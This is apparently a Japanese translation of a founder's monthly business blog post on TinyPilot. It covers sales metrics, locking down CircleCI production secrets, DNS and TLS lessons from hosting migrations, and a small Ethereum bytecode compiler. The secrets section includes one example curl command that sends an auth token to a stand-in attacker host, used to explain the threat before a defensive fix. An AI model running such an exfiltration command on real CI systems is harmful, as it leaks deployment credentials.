TinyPilot: Month 45

Michael Lynch

TinyPilot:45カ月目

原文は Michael Lynch により に公開されました。 このブログを購読する

一言まとめ

デプロイメントについて改めて真剣に考えた月。

ハイライト

  • TinyPilotチームと協力し、ワークフローを妨げることなくデプロイ用のシークレットへのアクセスを厳格化しました。
  • プラットフォーム間でサービスを移行する際のダウンタイムを、失敗から学んで最小限に抑えました。
  • 初めてコンパイラを書きました。といっても、ごくシンプルなものですが。

目標の達成度

毎月月初に達成したい目標を宣言しています。結果は以下のとおりでした。

TinyPilotのリリースドキュメントの抜けを埋める

  • 結果:前回のリリースで見つかった抜けを埋めました。
  • 評価:A

3月のTinyPilot Proのリリースは、私が直接リリース作業を一切行わなかった初めてのリリースでした。リリース自体は順調に進みましたが、プロセスの途中で次のステップがチームにとって不明確な場面がありました。

開発チームとサポートエンジニアリングチームそれぞれと振り返りを行い、リリースについてのフィードバックを集めました。そこで多くの有益な意見が得られたため、遭遇した問題に対処するべく、内部ドキュメントやプレイブックを改訂しました。

2023年分の税務申告を完了する

  • 結果:すべての税務書類を期限内に提出しました。
  • 評価:A

今年は初めて夫婦合算で申告したため税務が複雑で、いくつかの税務書類を待っている状態でしたが、現在はすべて提出済みです。

TinyPilotの主要指標

指標2024年2月2024年3月増減
ユニーク訪問者数13,0009,100-3,900 (-30%)
販売収益$82,517.42$107,809.83+$25,292.41 (+31%)
エンタープライズ向けサブスクリプション$290.70$290.700
ロイヤリティ$3,373.65$2,442.12-$931.53 (-28%)
総収益$86,181.77$110,542.65+$24,360.88 (+28%)
利益$23,599.09$3,193.73-$20,405.36 (-86%)

3月はTinyPilot史上最も販売収益が高い月となり、従来の最高記録を600ドル上回りました。1カ月単位で見ると利益は減少していますが、より重要な指標である3カ月平均は堅調に推移しています。

訪問者数は先月より減少していますが、これは2月に6年目の振り返り記事による一時的な訪問者数の急増があったためです。

TinyPilotの本番シークレットへのアクセスを厳格化する

過去数カ月にわたり、TinyPilotのリリースプロセスの改善を進め、より自動化し、私への依存を減らすようにしてきました。

リリースのワークフローを見直す中で、あまりにも多くのチームメンバーが本番シークレットにアクセスできる状態になっていることに気づきました。本番シークレットには、ウェブサイトやTinyPilotアプリケーションの新バージョンを公開するための認証トークンなどが含まれます。

私たちは小さなチームなので、この場合の「多すぎる」とは、本来1人で十分なところを5人にアクセス権がある状態を指します。つまり、4人が本来必要のない本番シークレットにアクセスできていたのです。

TinyPilotのほとんどのリポジトリは「push on green」方式で、継続的インテグレーションサービスであるCircleCIでの自動テストに合格すれば、すべてのコード変更をすぐに本番へプッシュします。

シークレットはCircleCIの環境変数として保存しています。当初はこれで問題ないと思っていました。環境変数は書き込み専用で、一度保存すると値を読み取ることはできないからです。

CircleCIの管理画面では環境変数の値の一部しか表示されず、表示できるのはCircleCIの管理者のみです。なお、表示されている値はダミーです。

シークレットの保護についてより批判的に考え始めると、CircleCIのWeb UIが示唆することに反して、5人全員が実質的に環境変数にアクセスできていることに気づきました。悪意のあるチームメンバーであれば、次の2つの方法のいずれかでシークレットを外部に抜き出すことが可能です。

  1. コードリポジトリに新しいブランチを作成し、CircleCIの設定ファイルを変更して、シークレットを自分が管理する外部サーバーに送信する(例:curl http://attacker-server.example.com/exfiltrate?token=$AUTH_TOKEN
  2. 任意のジョブでCircleCIにSSH接続し、コマンドラインでecho $AUTH_TOKENを実行する。

(1)はある程度検出可能でしたが、実際にチェックすることは一度もありませんでした。(2)は検出不可能でした。CircleCIはSSHセッションをログに残さないからです。

この攻撃はTinyPilotチーム内部からでなければ成立しません。外部のコントリビューターはCircleCIの環境変数に一切アクセスできないからです。

アクセスを厳格化する方法を調べたところ、CircleCIのドキュメントではセキュリティ上重要なシークレットは「contexts」に保存することが推奨されていました。Contextsも環境変数ですが、追加のアクセス制御が可能です。

当時のセキュリティcontextsでは、アクセスを特定のユーザー群に制限することしかできませんでした。つまり、既存のワークフローを維持したまま全員にシークレットへのアクセスを与えることもできましたが、それでは振り出しに戻ってしまいます。逆に、信頼できる一部のメンバーだけに絞り、すべてのデプロイをそのメンバーが開始しなければならないようにすることもできましたが、それでは大きな摩擦が生じてしまいます。

CircleCIのサポートに問い合わせたところ、偶然にも私たちの問題を解決する機能を間もなくリリースする予定だとのことでした。そして2週間後、CircleCIは式ベースのcontext制限をリリースしましたが、これはまさに私たちの問題を完璧に解決するものでした。

CircleCIの式ベースの制限により、contextに対して単なるユーザーの許可リスト以上の制限をかけられるようになりました。特定のブランチに制限したり、SSHが有効な場合にアクセスを無効化したりできるのです。最終的に、次のような式を設定しました。

pipeline.git.branch == "master" and not job.ssh.enabled

この式は、悪意のあるチームメンバーがブランチを使ってシークレットを抜き出そうとしても、そのブランチではシークレットにアクセスできないようにすることで、上記の攻撃(1)を緩和します。

また、ユーザーがSSHアクセスを有効にしてCircleCIジョブを開始した場合にシークレットを利用不可にすることで、攻撃(2)も緩和します。

私たちのmasterブランチではすべての変更に少なくとも1人の承認が必要なので、この仕組みでも2人のチームメンバーが共謀して不正を行う攻撃に対しては依然として脆弱です。1人の不正なメンバーがシークレットを抜き出すコード変更を仕込み、共犯者がそれを承認するという手口です。しかし、この攻撃は非常に目立つものになります。変更は私たちが頻繁に触るファイルに対して行われるうえ、誰がそれを仕込んだかという明確な監査証跡が残るからです。

全体として、CircleCIの式ベースのcontext制限には満足しています。CIが本番シークレットにアクセスできるチームに所属しているなら、必要のないメンバーまでシークレットにアクセスできていないか、一度考えてみることをお勧めします。

ホスト間でサービスを移行するプロセスを改善する

TinyPilotを始めた当初は、Google Cloud PlatformやAmazon Web Servicesといった大手プロバイダーでサービスをホストすることが多かったのですが、ここ4年ほどはNetlifyやFly.ioのような小規模なベンダーを好むようになりました。

TinyPilotのサービスのほとんどはすでに小規模なホスティングプラットフォームで動いていますが、立ち上げ当初に設定したまま移行していなかったサービスが2つほど残っていたので、統合することにしました。

1つ目の移行は少々手こずりましたが、その教訓を活かして次はよりスムーズに進めることができました。

FirebaseからNetlifyへの移行(手こずったケース)

TinyPilotのウェブサイトは単なる静的サイトなので、どこでホストしても構いません。2020年当時はあらゆるものをFirebaseでホスティングしていた流れでFirebase Hosting上にあり、特に問題もありませんでした。しかし、セキュリティcontextを中心にデプロイフローを再構築するにあたり、Firebaseから現在の静的サイト向けの推しであるNetlifyへ移行する良い機会だと考えました。

単純な移行に思えました。同期が必要なデータベースもありません。Netlifyでウェブサイトを公開し、DNSレコードを新しいホストに向ければよいだけです。

そう思っていました。

Netlifyに公開し、tinypilotkvm.comのDNSエントリを更新してサイトにアクセスしてみると、TLSエラーが表示されました。

tinypilotkvm.comにFirefoxでアクセスした際のスクリーンショット。ブラウザに『Warning: Potential Security Risk Ahead』と表示されている

DNSエントリを更新した直後にTinyPilotのウェブサイトにアクセスすると、TLSエラーが表示されました。

これはまずい状況です。ブラウザにクレジットカード情報を盗まれる危険があると警告された直後に、そのサイトで買い物をしたいと思う人はいません。

さらに悪いことに、この変更を行ったのは木曜日の午前9時30分(米国東部時間)、ちょうど有料顧客からのアクセスが最も多い時間帯でした。

NetlifyがまだTLS証明書を生成していなかったのだろうか? TLSエラーを確認してみると、ブラウザが問題にしていたのはFirebaseのTLS証明書でした。あれ? Firebaseが古いサイトを無効な証明書のまま配信し続けているはずでは?

私の頭の中では、訪問者はDNSサーバーが持つ情報の鮮度によって2つのグループに分かれるはずでした。

  1. 古いFirebaseのIPアドレスを持つDNSサーバーに問い合わせる人 -> DNSを更新する前と同じように、古いFirebase版が表示される。
  2. 新しいNetlifyのIPアドレスを持つDNSサーバーに問い合わせる人 -> 新しいNetlify版が表示される。

今でもなぜFirebaseの証明書エラーが表示されたのか理解できていません。考えられる唯一の説明は、FirebaseがDNSの変更を検知して、関連するDNSレコードが変わると即座に証明書を無効化する、というものです。しかしFirebaseの管理ダッシュボードでは、証明書は依然として有効と表示されていました。

回避策として、Firebase側で訪問者を前日に新しいサイト用に用意していたステージングドメインnetlify-preview.tinypilotkvm.comにリダイレクトするように設定しました。これでTLSエラーは表示されなくなりました。netlify-previewというステージングドメイン名は、顧客に「何かおかしい」と強く思わせてしまうので、もう少しマシな名前にしておけばよかったと思いますが、TLSエラーよりはましでした。

その後丸一日、古いFirebaseサイトにはまだトラフィックが流れ続けましたが、数日かけて徐々にゼロになっていきました。1週間後にFirebaseサイトをシャットダウンしました。

AWSからFly.ioへの移行(スムーズだったケース)

TinyPilotでは、ユーザーから診断ログを収集するためにLogPasteサーバーを使っています。これはシンプルなGo製アプリで、Goサービスに関して私が最も好むプラットフォームはFly.ioです。しかしTinyPilotのLogPasteサーバーはAWS LightSail上で動いていたので、LightSailからFly.ioへ移行することにしました。

LogPasteの移行はTinyPilotのウェブサイトの移行よりは少しだけ複雑でした。SQLiteデータベースがあるからです。しかし重要度は低く、LogPasteサーバーが数日ダウンしても致命的ではありませんでした。

移行の前日、logs.tinypilotkvm.comのDNSエントリのTTLを1分に下げました。DNSサーバーは必ずしもTTLを尊重するわけではありませんが、尊重するサーバーにとってはキャッシュを制限する意味があります。

また、Fly.io上にLogPasteのステージング版をlogs2.tinypilotkvm.comというドメインでデプロイしました。そうすれば、TinyPilotのウェブサイトのときのようにリダイレクトの小細工が必要になった場合でも、ユーザーに見せてもそれほど違和感のないURLに誘導できます。

さらに、古いLightSail版から新しいFly.io版へデータを移行するためのスクリプトも用意しました。Amazon S3バケットから本番データベースをダウンロードし、新しいFly.ioサーバーの背後にあるストレージバケットにアップロードするというシンプルなbashスクリプトです。

移行当日は、朝7時に起きてすぐに移行を実行しました。そうすれば、もし一時的な障害が起きても影響を受ける人が少しでも少なくて済むからです。

幸い、移行はスムーズに進みました。経路上にあるDNSサーバーはすべて1分というTTLを尊重してくれたようで、Fly.ioサーバーのログには移行直後からlogs.tinypilotkvm.comへのリクエストが処理されている記録がありました。

LightSail版はさらに1週間稼働させたままにし、トラフィックが流れていないことを確認してから削除しました。

ホスト間でサービスを移行する際の一般的な戦略

:これはおそらく最適な戦略ではありません。証明書エラーを最小限に抑えるためのより良いベストプラクティスがあるはずですが、少なくとも以前の私のやり方よりは改善されています。

次回サービスをホスト間で移動する際には、今月学んだ以下のプロセスに従うつもりです。

一般的な例として、example.comというURLでホストしているサービスをプラットフォームAからプラットフォームBへ移すケースを想像してください。

準備日

移行を予定している1〜2日前に、以下の手順を実行します。

  1. サービスをプラットフォームBにデプロイする。
  2. プラットフォームBでサブドメイン用の証明書を作成する。
    • 通常はホスティングプラットフォームの「カスタムドメインを追加」といった設定から行います。
    • もしもの際にエンドユーザーに見られても違和感が少ないサブドメインを選んでください。例:www2.example.comweb.example.com
    • insecure-staging.example.comのように、エンドユーザーに不安を与えるようなサブドメインは選ばないでください。
  3. 新しいサブドメイン用のDNSエントリを追加し、プラットフォームBを指すようにする。
  4. 新しいサブドメイン経由でプラットフォームBにアクセスできること、ブラウザでTLSエラーが出ないことを確認する。
  5. 本番のexample.comのDNSエントリのTTLを1〜5分といった短い値に下げる。
  6. プラットフォームBで本番のexample.comドメイン用の証明書を生成する。

移行日

移行当日は、以下の手順を実行します。

  1. トラフィックが少ない時間帯を選ぶ。
    • チームメイトのサポートが必要になる可能性がある場合は、移行について周知し、対応可能にしておいてください。
  2. example.comのDNSエントリをプラットフォームAではなくプラットフォームBを指すように更新する。
  3. メインのexample.comのURL経由でサービスに引き続きアクセスできることを確認する。

DNS変更後にサービスにアクセスした際にプラットフォームAのTLSエラーが表示される場合:

  • 一時的な回避策として、準備日に用意したステージング用サブドメインへトラフィックをリダイレクトするようにプラットフォームAを設定する。
  • digを使って、自分のPCから見たDNSレコードの有効期限を確認し、DNSエントリの有効期限が切れた後にTLSエラーが解消するか確認する。

旧サーバーの廃止

移行から少なくとも24時間待ってから、以下の手順を実行します。

  1. プラットフォームAへのトラフィックが止まったことを確認する。
  2. プラットフォームA上のサーバーを廃止する。
  3. プラットフォームAがなくてもサービスにアクセスできることを確認する。
  4. 本番のDNSエントリのTTLを60分など適切な値に戻す。
  5. DNSエントリからステージング用サブドメインを削除する。

サイドプロジェクト

シンプルなコンパイラを書く

Zigやインタプリタ、Ethereumについてより深く学ぶため、ここ数カ月、Ethereum仮想マシンのZig実装であるeth-zvmに取り組んできました。

eth-zvm向けにパフォーマンスベンチマークを書いていましたが、そこで実行されるプログラムは次のようなEthereumバイトコードの塊でした。

60016000526001601ff3

このバイトコードは編集が困難です。テスト内容を変更したいときは、バイトコードを人間が読める形式に逆コンパイルし、変更を加えてから、再び生のバイト列にコンパイルし直す必要がありました。

Ethereumにはニーモニック形式と呼ばれるバイトコードの人間可読な表現があり、上記のバイトコードをニーモニック形式で表すと次のようになります。

PUSH1 0x01
PUSH1 0x00
MSTORE
PUSH1 0x01
PUSH1 0x1f
RETURN

依然として低レベルではありますが、生のバイト列よりは理解しやすいものです。

テストをバイトコードではなくニーモニック形式で保存したいと思いました。ニーモニックからバイトコードへのコンパイラを探しましたが、コマンドラインですぐに使えるものは見つかりませんでした。

十分簡単そうなタスクに思えたので、自分でニーモニックからバイトコードへのコンパイラを書くことにしました。

コンパイラとしては、私のものは考えられる限り最もシンプルな部類です。入力トークンと出力の1バイトがほぼ1対1で対応しています。

非常にシンプルなプログラムの例です。

$ echo 'RETURN' | ./mnc /dev/stdin /dev/stdout
f3

RETURNのオペコード値は0xf3なので、出力されるバイトコードは単にf3となります。

PUSH1のように引数を取るオペコードになると、少しだけ複雑になります。PUSH1は1バイトをスタックにプッシュします。

$ echo 'PUSH1 0x42' | ./mnc /dev/stdin /dev/stdout
6042

PUSH32を使って32バイトの値をスタックにプッシュすることもできます。

$ echo 'PUSH32 0x42' | ./mnc /dev/stdin /dev/stdout
7f0000000000000000000000000000000000000000000000000000000000000042

インラインコメントにも対応したので、上記のサンプルアプリケーションをコメント付きで示すと次のようになります。

$ tempfile="$(mktemp)" && \
  cat << EOF > "${tempfile}"
// Store 0x01 in memory as a 32-byte word.
PUSH1 0x01
PUSH1 0x00
MSTORE

// Return 1 byte from offset 31 in memory.
PUSH1 0x01
PUSH1 0x1f
RETURN
EOF

$ ./mnc "${tempfile}" /dev/stdout
60016000526001601ff3

現在、eth-zvmのベンチマーク用サンプルは人間が読めるニーモニック形式で保存し、必要に応じてバイトコードへコンパイルしてベンチマークを実行しています。

たとえシンプルなものでも、コンパイラを書くのは楽しい経験でした。現在のコンパイラはPUSH1 RETURNのような意味的に不正なコードも受け入れてしまいますが、私の用途には十分です。このプロジェクトは、プログラミング言語がより深いレベルでどのように動作するかを学ぶための楽しい手段であり続けています。

まとめ

今月成し遂げたこと

学んだこと

  • CIの環境変数にシークレットを保存するのは良い方法ですが、チームメンバーが増えるほどアクセスを制限すべきです。
  • プラットフォーム間でサービスを移行する際は厳密な手順を踏むこと。
    • 業務に支障が出ないものの、ミスからリカバリーする時間は確保できる時間帯を選ぶ。
    • 移行の少なくとも1日前にはDNSのTTLを下げておく。
    • 移行前に新しいTLS証明書を準備しておく。
    • 万が一エンドユーザーの目に触れても許容できるステージング用サブドメイン名を選んでおく。

来月の目標

  • 新たなTinyPilotの販売代理店・販路候補3社との対話を開始する。
  • 2つの新しいTinyPilotソフトウェア機能の開発を監督する。
  • メーカーと連携し、2024年残りの生産計画を調整する。

この記事は「muse-spark-1.2-contributor」を使用して翻訳されました。

コメント